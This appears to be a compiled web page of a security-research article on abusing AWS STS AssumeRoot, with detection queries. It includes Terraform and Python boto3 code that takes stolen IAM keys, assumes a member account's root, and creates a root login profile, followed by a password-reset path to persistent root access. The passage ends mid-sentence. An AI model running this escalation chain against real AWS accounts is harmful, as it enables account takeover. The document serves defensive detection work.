A=(o,e,s)=\u003e(s=o!=null?h(p(o)):{},a(e||!o||!o.__esModule?i(s,\"default\",{value:o,enumerable:!0}):s,o)),y=o=\u003ea(i({},\"__esModule\",{value:!0}),o);var l=f((I,c)=\u003e{c.exports=_jsx_runtime});var S={};w(S,{default:()=\u003ev,frontmatter:()=\u003eb});var t=A(l()),b={title:\"Exploring AWS STS AssumeRoot\",subtitle:\"AssumeRoot Abuse and Detection Strategies in AWS Organizations\",slug:\"exploring-aws-sts-assumeroot\",date:\"2024-12-10\",description:\"Explore AWS STS AssumeRoot, its risks, detection strategies, and practical scenarios to secure against privilege escalation and account compromise using Elastic's SIEM and CloudTrail data.\",author:[{slug:\"terrance-dejesus\"}],image:\"Security Labs Images 20.jpg\",category:[{slug:\"security-research\"}]};function d(o){let e=Object.assign({h2:\"h2\",p:\"p\",ul:\"ul\",li:\"li\",a:\"a\",strong:\"strong\",code:\"code\",h3:\"h3\",img:\"img\",em:\"em\",pre:\"pre\",ol:\"ol\",br:\"br\",h1:\"h1\"},o.components);return(0,t.jsxs)(t.Fragment,{children:[(0,t.jsx)(e.h2,{id:\"preamble\",children:\"Preamble\"}),`\n`,(0,t.jsx)(e.p,{children:\"Welcome to another installment of AWS detection engineering with Elastic. This article will dive into the new AWS Security Token Service(STS) API operation, AssumeRoot, simulate some practical behavior in a sandbox AWS environment, and explore detection capabilities within Elastic\\u2019s SIEM.\"}),`\n`,(0,t.jsx)(e.p,{children:\"What to expect from this article:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Basic insight into AWS STS web service\"}),`\n`,(0,t.jsx)(e.li,{children:\"Insight into STS\\u2019 AssumeRoot API operation\"}),`\n`,(0,t.jsx)(e.li,{children:\"Threat scenario using AssumeRoot with Terraform and Python code\"}),`\n`,(0,t.jsx)(e.li,{children:\"Detection and hunting opportunities for potential AssumeRoot abuse\"}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"understanding-aws-sts-and-the-assumeroot-api\",children:\"Understanding AWS STS and the AssumeRoot API\"}),`\n`,(0,t.jsx)(e.p,{children:\"AWS Security Token Service (STS) is a web service that enables users, accounts, and roles to request temporary, limited-privilege credentials. For IAM users, their accounts are typically registered in AWS Identity and Access Management (IAM), where either a login profile is attached for accessing the console or access keys, and secrets are created for programmatic use by services like Lambda, EC2, and others.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"While IAM credentials are persistent, \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html#sts-regionalization\",rel:\"nofollow\",children:(0,t.jsx)(e.strong,{children:\"STS credentials\"})}),\" are temporary. These credentials - comprising an access key, secret key, and session token - are granted upon request and are valid for a specific period. Requests are typically sent to the global \",(0,t.jsx)(e.code,{children:\"sts.amazonaws.com\"}),\" endpoint, which responds with temporary credentials for a user or role. These credentials can then be used to access other AWS services on behalf of the specified user or role, as long as the action is explicitly allowed by the associated permission policy.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This process is commonly known as assuming a role, executed via the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/STS/latest/APIReference/API_AssumeRole.html\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"AssumeRole\"})}),\" API. It is frequently used in AWS environments and organizations for various scenarios. For example:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"An EC2 instance with an attached role will automatically use \",(0,t.jsx)(e.code,{children:\"AssumeRole\"}),\" to retrieve temporary credentials for API requests.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"Similarly, Lambda functions often invoke \",(0,t.jsx)(e.code,{children:\"AssumeRole\"}),\" to authenticate and perform their designated actions.\"]}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Although \",(0,t.jsx)(e.code,{children:\"AssumeRole\"}),\" is incredibly useful, it can pose a risk if roles are over-permissioned by the organization. Misconfigured policies with excessive permissions can allow adversaries to abuse these roles, especially in environments where the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/wellarchitected/latest/framework/sec_permissions_least_privileges.html\",rel:\"nofollow\",children:\"Principle of Least Privilege\"}),\" (PoLP) is not strictly enforced. Note that the security risks associated with AssumeRole are typically attributed to misconfigurations or not following best security practices by organizations. These are not the result of AssumeRole or even AssumeRoot development decisions.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"introduction-to-assumeroot\",children:\"Introduction to AssumeRoot\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"AWS recently introduced the \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\" API operation to STS. Similar to \",(0,t.jsx)(e.code,{children:\"AssumeRole\"}),\", it allows users to retrieve temporary credentials - but specifically for the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html\",rel:\"nofollow\",children:\"root user\"}),\" of a member account in an AWS organization.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"what-are-member-accounts\",children:\"What Are Member Accounts?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In AWS, \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts_access.html\",rel:\"nofollow\",children:\"member accounts\"}),\" are separate accounts within an organization that have their own IAM users, services, and roles. These accounts are distinct from the management account, but they still fall under the same organizational hierarchy. Each AWS organization is created with a unique root account tied to the email address used during its setup. Similarly, every member account requires a root user or email address at the time of its creation, effectively establishing its own root identity.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"how-does-assumeroot-work\",children:\"How Does AssumeRoot Work?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"When a privileged user in the management account needs root-level privileges for a member account, they can use the \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\" API to retrieve temporary credentials for the member account's root user. Unlike \",(0,t.jsx)(e.code,{children:\"AssumeRole\"}),\", where the target principal is a user ARN, the target principal for \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\" is the member account ID itself. Additionally, a task policy ARN must be specified, which defines the specific permissions allowed with the temporary credentials.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Here are the available task policy ARNs for \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\":\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMAuditRootUserCredentials\",rel:\"nofollow\",children:\"IAMAuditRootUserCredentials\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMCreateRootUserPassword\",rel:\"nofollow\",children:\"IAMCreateRootUserPassword\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-IAMDeleteRootUserCredentials\",rel:\"nofollow\",children:\"IAMDeleteRootUserCredentials\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-S3UnlockBucketPolicy\",rel:\"nofollow\",children:\"S3UnlockBucketPolicy\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/UserGuide/security-iam-awsmanpol.html#security-iam-awsmanpol-SQSUnlockQueuePolicy\",rel:\"nofollow\",children:\"SQSUnlockQueuePolicy\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"potential-abuse-of-task-policies\",children:\"Potential Abuse of Task Policies\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"While these predefined task policies limit what can be done with \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\", their scope can still be theoretically abused in the right circumstances. For example:\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"IAMCreateRootUserPassword\"}),\": This policy grants the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"iam:CreateLoginProfile\"})}),\" permission, allowing the creation of a login profile for a user that typically doesn't require console access. If an adversary gains access to programmatic credentials, they could create a login profile and gain console access to the account that is more persistent.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[(0,t.jsx)(e.strong,{children:\"IAMDeleteRootUserCredentials\"}),\": This policy allows the deletion of root credentials, but also grants permissions like \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListAccessKeys.html\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"iam:ListAccessKeys\"})}),\" and \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/APIReference/API_ListMFADevices.html\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"iam:ListMFADevices\"})}),\". These permissions could help an adversary gather critical information about access credentials or MFA configurations for further exploitation.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.h2,{id:\"assumeroot-in-action\",children:\"AssumeRoot in Action\"}),`\n`,(0,t.jsx)(e.p,{children:\"Now that we understand how AssumeRoot works at a high level, how it differs from AssumeRole, and the potential risks associated with improper security practices, let\\u2019s walk through a practical scenario to simulate its usage. It should be noted that this is one of many potential scenarios where AssumeRoot may or could be abused. As of this article's publication, no active abuse has been reported in the wild, as expected with a newer AWS functionality.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Below is a simple depiction of what we will accomplish in the following sections:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image3.png\",alt:\"AssumeRoot scenario workflow\",width:\"1099\",height:\"726\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Before diving in, it\\u2019s important to highlight that we\\u2019re using an admin-level IAM user configured as the default profile for our local AWS CLI. This setup enables us to properly configure the environment using \",(0,t.jsx)(e.a,{href:\"https://developer.hashicorp.com/terraform\",rel:\"nofollow\",children:\"Terraform\"}),\" and simulate potential threat scenarios in AWS for detection purposes.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"member-account-creation\",children:\"Member Account Creation\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first step is to enable centralized root access for member accounts, as outlined in the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_accounts.html\",rel:\"nofollow\",children:\"AWS documentation\"}),\". Centralized root access allows us to group all AWS accounts into a single organization, with each member account having its own root user.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Next, we manually create a member account within our organization through the Accounts section in the AWS Management Console. For this scenario, the key requirement is to note the member account ID, a unique 12-digit number. For our example, we\\u2019ll assume this ID is \",(0,t.jsx)(e.code,{children:\"000000000001\"}),\" and name it \",(0,t.jsx)(e.em,{children:\"AWSAssumeRoot\"}),\". Centralized management of AWS accounts is a common practice for organizations that may separate different operational services into separate AWS accounts but want to maintain centralized management.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image4.png\",alt:\"AWS console showing management account and member account AWSAssumeRoot\",width:\"1892\",height:\"978\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also add the member account as the \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_delegate_policies.html\",rel:\"nofollow\",children:\"delegated administrator\"}),\" for centralized root access as well, which allows that root member account to have centralized root access for any other member accounts of the organization.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"While we won\\u2019t cover it in depth, we have also enabled the new \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_rcps.html\",rel:\"nofollow\",children:\"Resource control policies\"}),\" (RCPs) within Identity and Access Management (IAM), which will allow central administration over permissions granted to resources within accounts in our organization, but by default, the \",(0,t.jsx)(e.em,{children:\"RCPFullAWSAccess\"}),\" policy allows all permissions to all services for all principals and is attached directly to root.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"environment-setup\",children:\"Environment Setup\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"For our simulation, we use Terraform to create an overly permissive IAM user named compromised_user. This user is granted the predefined \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/aws-managed-policy/latest/reference/AdministratorAccess.html\",rel:\"nofollow\",children:\"AdministratorAccess\"}),\" policy, which provides admin-level privileges. Additionally, we generated an access key for this user while intentionally omitting a login profile to reflect a typical setup where credentials are used programmatically. This is not an uncommon practice, especially in developer environments.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below is the \",(0,t.jsx)(e.code,{children:\"main.tf\"}),\" configuration used to create the resources:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`provider \"aws\" {\n region = var.region\n}\n\ndata \"aws_region\" \"current\" {}\n\n# Create an IAM user with AdministratorAccess (simulated compromised user)\nresource \"aws_iam_user\" \"compromised_user\" {\n name = \"CompromisedUser\"\n}\n\n# Attach AdministratorAccess Policy to the compromised user\nresource \"aws_iam_user_policy_attachment\" \"compromised_user_policy\" {\n user = aws_iam_user.compromised_user.name\n policy_arn = \"arn:aws:iam::aws:policy/AdministratorAccess\"\n}\n\n# Create access keys for the compromised user\nresource \"aws_iam_access_key\" \"compromised_user_key\" {\n user = aws_iam_user.compromised_user.name\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We also define an \",(0,t.jsx)(e.code,{children:\"outputs.tf\"}),\" file to capture key details about the environment, such as the region, access credentials, and the user ARN:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`output \"aws_region\" {\n description = \"AWS Region where the resources are deployed\"\n value = var.region\n}\n\noutput \"compromised_user_access_key\" {\n value = aws_iam_access_key.compromised_user_key.id\n sensitive = true\n description = \"Access key for the compromised IAM user\"\n}\n\noutput \"compromised_user_secret_key\" {\n value = aws_iam_access_key.compromised_user_key.secret\n sensitive = true\n description = \"Secret key for the compromised IAM user\"\n}\n\noutput \"compromised_user_name\" {\n value = aws_iam_user.compromised_user.name\n description = \"Name of the compromised IAM user\"\n}\n\noutput \"compromised_user_arn\" {\n value = aws_iam_user.compromised_user.arn\n description = \"ARN of the compromised IAM user\"\n}\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Once we run \",(0,t.jsx)(e.code,{children:\"terraform apply\"}),\", the configuration creates a highly permissive IAM user (\",(0,t.jsx)(e.code,{children:\"compromised_user\"}),\") with associated credentials. These credentials simulate those that an adversary might obtain for initial access or escalating privileges.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This is one of the first hurdles for an adversary, collecting valid credentials. In today\\u2019s threat landscape information stealer malware and phishing campaigns are more common than ever, aimed at obtaining credentials that can be sold or used for lateral movement. While this is a hurdle, the probability of compromised credentials for initial access is high - such as those with \",(0,t.jsx)(e.a,{href:\"https://www.cisa.gov/sites/default/files/2023-11/aa23-320a_scattered_spider_0.pdf\",rel:\"nofollow\",children:\"SCATTERED SPIDER\"}),\" and \",(0,t.jsx)(e.a,{href:\"https://sysdig.com/blog/scarleteel-2-0/\",rel:\"nofollow\",children:\"SCARLETEEL\"}),\".\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image1.png\",alt:\"\",width:\"1798\",height:\"468\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"establish-an-sts-client-session-with-stolen-credentials\",children:\"Establish an STS Client Session with Stolen Credentials\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next step is to establish an STS client session using the compromised credentials (\",(0,t.jsx)(e.code,{children:\"compromised_user\"}),\" access key and secret key). This session allows the adversary to make requests to AWS STS on behalf of the compromised user.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Here\\u2019s the Python code to establish the STS client using the \",(0,t.jsx)(e.a,{href:\"https://aws.amazon.com/sdk-for-python/\",rel:\"nofollow\",children:\"AWS Boto3 SDK\"}),\" (the AWS SDK used to create, configure, and manage AWS services, such as Amazon EC2 and Amazon S3). This Python code is used to create the STS client with stolen IAM user credentials:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:` sts_client = boto3.client(\n \"sts\",\n aws_access_key_id=compromised_access_key,\n aws_secret_access_key=compromised_secret_key,\n region_name=region,\n endpoint_url=f'https://sts.{region}.amazonaws.com'\n )\n`})}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image7.png\",alt:\"Terminal output when creating STS client with stolen IAM user credentials\",width:\"1618\",height:\"868\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Note:\"}),\" During testing, we discovered that the \",(0,t.jsx)(e.code,{children:\"endpoint_url\"}),\" must explicitly point to \",(0,t.jsx)(e.code,{children:\"https://sts.\u003cregion\u003e.amazonaws.com\"}),\". Omitting this may result in an \",(0,t.jsx)(e.code,{children:\"InvalidOperation\"}),\" error when attempting to invoke the \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\" API.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This STS client session forms the foundation for simulating an adversary's actions as we have taken compromised credentials and initiated our malicious actions.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"assume-root-for-member-account-on-behalf-of-compromised-user\",children:\"Assume Root for Member Account on Behalf of Compromised User\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"After establishing an STS client session as the compromised user, we can proceed to call the AssumeRoot API. This request allows us to assume the root identity of a member account within an AWS Organization. For the request, the TargetPrincipal is set to the member account ID we obtained earlier, the session duration is set to 900 seconds (15 minutes), and the TaskPolicyArn is defined as \",(0,t.jsx)(e.code,{children:\"IAMCreateRootUserPassword\"}),\". This policy scopes the permissions to actions related to creating or managing root login credentials.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A notable permission included in this policy is \",(0,t.jsx)(e.a,{href:\"https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"CreateLoginProfile\"})}),\", which enables the creation of a login password for the root user. This allows access to the AWS Management Console as the root user.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Below is the Python code to assume root of member account \",(0,t.jsx)(e.code,{children:\"000000000001\"}),\", with permissions scoped by \",(0,t.jsx)(e.em,{children:\"IAMCreateRootUserPassword\"}),\".\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`response = sts_client.assume_root(\n TargetPrincipal=member_account_id,\n DurationSeconds=900,\n TaskPolicyArn={\"arn\": \"arn:aws:iam::aws:policy/root-task/IAMCreateRootUserPassword\"},\n)\nroot_temp_creds = response[\"Credentials\"]\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"If the AssumeRoot request is successful, the response provides temporary credentials (\",(0,t.jsx)(e.code,{children:\"root_temp_creds\"}),\") for the root account of the target member. These credentials include an access key, secret key, and session token, enabling temporary root-level access for the duration of the session.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image6.png\",alt:`Terminal output showing AssumeRoot with IAMCreateRootUserPassword for AWSAssumeRoot member account\n`,width:\"1990\",height:\"828\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"creating-a-login-profile-for-the-member-root-account\",children:\"Creating a Login Profile for the Member Root Account\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"With temporary root credentials in hand, the next step is to establish an authenticated IAM client session as the root user of the member account. Using this session, we can call the \",(0,t.jsx)(e.code,{children:\"create_login_profile()\"}),\" method. This method allows us to assign a login password to the root user, enabling console access.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"The following Python code establishes an authenticated IAM client and creates a login profile:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`iam_client = boto3.client(\n \"iam\",\n aws_access_key_id=root_temp_creds[\"AccessKeyId\"],\n aws_secret_access_key=root_temp_creds[\"SecretAccessKey\"],\n aws_session_token=root_temp_creds[\"SessionToken\"],\n)\n\nresponse = iam_client.create_login_profile()\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"It\\u2019s worth noting that the \",(0,t.jsx)(e.code,{children:\"create_login_profile()\"}),\" method requires no explicit parameters for the root user, as it acts on the credentials of the currently authenticated session. In this case, it will apply to the root user of the member account.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image5.png\",alt:\"Terminal output showing IAM client established as Root member account and CreateLoginProfile request\",width:\"1874\",height:\"856\"})}),`\n`,(0,t.jsx)(e.h3,{id:\"reset-the-administrator-password-and-login-to-the-aws-console\",children:\"Reset the Administrator Password and Login to the AWS Console\"}),`\n`,(0,t.jsx)(e.p,{children:\"At this stage, we\\u2019re nearly complete! Let\\u2019s recap the progress so far:\"}),`\n`,(0,t.jsxs)(e.ol,{children:[`\n`,(0,t.jsx)(e.li,{children:\"Using compromised IAM user credentials, we established an STS session to assume the identity of an overly permissive user.\"}),`\n`,(0,t.jsxs)(e.li,{children:[\"Leveraging this session, we assumed the identity of the root user of a target member account, acquiring temporary credentials scoped to the \",(0,t.jsx)(e.code,{children:\"IAMCreateRootUserPassword\"}),\" task policy.\"]}),`\n`,(0,t.jsx)(e.li,{children:\"With these temporary root credentials, we established an IAM client session and successfully created a login profile for the root user.\"}),`\n`]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The final step involves resetting the root user password to gain permanent access to the AWS Management Console. To do this, visit the AWS console login page and attempt to log in as the root user. Select the \\u201CForgot Password\\u201D option to initiate the password recovery process. This will prompt a CAPTCHA challenge, after which a password reset link is sent to the root user\\u2019s email address. This would be the third roadblock for an adversary as they would need access to the root user\\u2019s email inbox to continue with the password reset workflow. It should be acknowledged that if \",(0,t.jsx)(e.em,{children:\"CreateLoginProfile\"}),\" is called, you can specify the password for the user and enforce a \\u201Cpassword reset required\\u201D. However, this is not allowed for root accounts by default, and for good reason by AWS. Unlike the first hurdle of having valid credentials, access to a user\\u2019s inbox may prove more difficult and less likely, but again, with enough motivation and resources, it is still possible.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image2.png\",alt:\"Password recovery request from AWS sign-in for root\",width:\"1999\",height:\"1025\"})}),`\n`,(0,t.jsx)(e.p,{children:\"After selecting the password reset link, you can set a new password for the root user. This step provides lasting access to the console as the root user. Unlike the temporary credentials obtained earlier, this access is no longer limited by the session duration or scoped permissions of the IAMCreateRootUserPassword policy, granting unrestricted administrative control over the member account.\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/exploring-aws-sts-assumeroot/image8.png\",alt:\"Successful login as root for AWSAssumeRoot member account\",width:\"1999\",height:\"711\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Before moving on, if you followed along and tried this in your environment, we want to gently remind you to use Terraform to remove testing resources\"}),\" using the terraform destroy command in the same folder where you initialized and deployed the resources.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detection-and-hunting-opportunities\",children:\"Detection and Hunting Opportunities\"}),`\n`,(0,t.jsx)(e.p,{children:\"While exploring cloud features and APIs from an adversary's perspective is insightful, our ultimate responsibility lies in detecting and mitigating malicious or anomalous behavior, alerting stakeholders, and responding effectively. Also, while such a scenario has not been publicly documented in the wild, we should not wait to be a victim either and be reactive, hence the reason for our whitebox scenario.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The following detection and hunting queries rely on AWS CloudTrail data ingested into the Elastic Stack using the \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/docs/current/integrations/aws\",rel:\"nofollow\",children:\"AWS integration\"}),\". If your environment differs, you may need to adjust these queries for custom ingestion processes or adapt them for a different SIEM or query tool.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.strong,{children:\"Note:\"}),\" Ensure that AWS CloudTrail is enabled for all accounts in your organization to provide comprehensive visibility into activity across your AWS environment. You may also need to enable the specific trail used for monitoring across the entire organization so all member accounts are observed properly.\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"hunting---unusual-action-for-iam-user-access-key\",children:\"Hunting - Unusual Action for IAM User Access Key\"}),`\n`,(0,t.jsx)(e.p,{children:\"This query identifies potentially compromised IAM access keys that are used to make unusual API calls. It sorts the results in ascending order to surface less frequent API calls within the last two weeks. This query can be adjusted to account for different API calls or include other CloudTrail-specific fields.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Hunting Query: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/7b88b36d294407cc1ea2ab1b0acbbbf3104162a9/hunting/aws/docs/iam_unusual_access_key_usage_for_user.md\",rel:\"nofollow\",children:\"AWS IAM Unusual AWS Access Key Usage for User\"})]}),`\n`,(0,t.jsx)(e.p,{children:\"MITRE ATT\u0026CK:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"T1078.004 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1078/004/\",rel:\"nofollow\",children:\"Valid Accounts: Cloud Accounts\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Language: ES|QL\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`FROM logs-aws.cloudtrail*\n| WHERE @timestamp \u003e now() - 14 day\n| WHERE\n event.dataset == \"aws.cloudtrail\"\n and event.outcome == \"success\"\n and aws.cloudtrail.user_identity.access_key_id IS NOT NULL\n and aws.cloudtrail.resources.arn IS NOT NULL\n and event.action NOT IN (\"GetObject\")\n| EVAL daily_buckets = DATE_TRUNC(1 days, @timestamp)\n| STATS\n api_counts = count(*) by daily_buckets, aws.cloudtrail.user_identity.arn, aws.cloudtrail.user_identity.access_key_id, aws.cloudtrail.resources.arn, event.action\n| WHERE api_counts \u003c 2\n| SORT api_counts ASC\n`})}),`\n`,(0,t.jsx)(e.h3,{id:\"detection---unusual-assume-root-action-by-rare-iam-user\",children:\"Detection - Unusual Assume Root Action by Rare IAM User\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Detection Rule: \",(0,t.jsx)(e.a,{href:\"https://github.com/elastic/detection-rules/blob/main/rules/integrations/aws/privilege_escalation_sts_assume_root_from_rare_user_and_member_account.toml\",rel:\"nofollow\",children:\"AWS STS AssumeRoot by Rare User and Member Account\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"This query identifies instances where the \",(0,t.jsx)(e.code,{children:\"AssumeRoot\"}),\" API call is made by an IAM user ARN and member account that have not performed this action in the last 14 days. This anomaly-based detection uses Elastic\\u2019s \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/guide/en/security/current/rules-ui-create.html#create-new-terms-rule\",rel:\"nofollow\",children:\"New Terms\"}),\" detection rule.\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"The \",(0,t.jsx)(e.code,{children:\"aws.cloudtrail.user_identity.arn\"}),\" field identifies the source IAM user from the management AWS account.\"]}),`\n`,(0,t.jsxs)(e.li,{children:[\"The \",(0,t.jsx)(e.code,{children:\"aws.cloudtrail.resources.account_id\"}),\" field reflects the target member account.\"]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"MITRE ATT\u0026CK:\"}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsxs)(e.li,{children:[\"T1548.005 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1548/005/\",rel:\"nofollow\",children:\"Temporary Elevated Cloud Access\"})]}),`\n`,(0,t.jsxs)(e.li,{children:[\"T1098.003 - \",(0,t.jsx)(e.a,{href:\"https://attack.mitre.org/techniques/T1098/003/\",rel:\"nofollow\",children:\"Additional Cloud Roles\"})]}),`\n`]}),`\n`,(0,t.jsx)(e.p,{children:\"Language: KQL\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`event.dataset: \"aws.cloudtrail\"\n and event.provider: \"sts.amazonaws.com\"\n and event.action: \"AssumeRoot\"\n and event.outcome: \"success\"\n`})}),`\n`,(0,t.jsxs)(e.p,{children:[\"New Term Fields:\",(0,t.jsx)(e.br,{}),`\n`,\"If any combination of these fields has not been seen executing AssumeRoot within the last 14 days, an alert is generated.\"]}),`\n`,(0,t.jsxs)(e.ul,{children:[`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"aws.cloudtrail.user_identity.arn\"})}),`\n`,(0,t.jsx)(e.li,{children:(0,t.jsx)(e.code,{children:\"aws.cloudtrail.resources.account_id\"})}),`\n`]}),`\n`,(0,t.jsx)(e.h3,{id:\"detection---self-created-login-profile-for-root-member-account\",children:\"Detection - Self-Created Login Profile for Root Member Account\"}),`\n`,(0,t.jsx)(e.p,{children:\"This query detects instances where a login profile is created for a root member account by the root account itself, potentially indicating unauthorized or anomalous 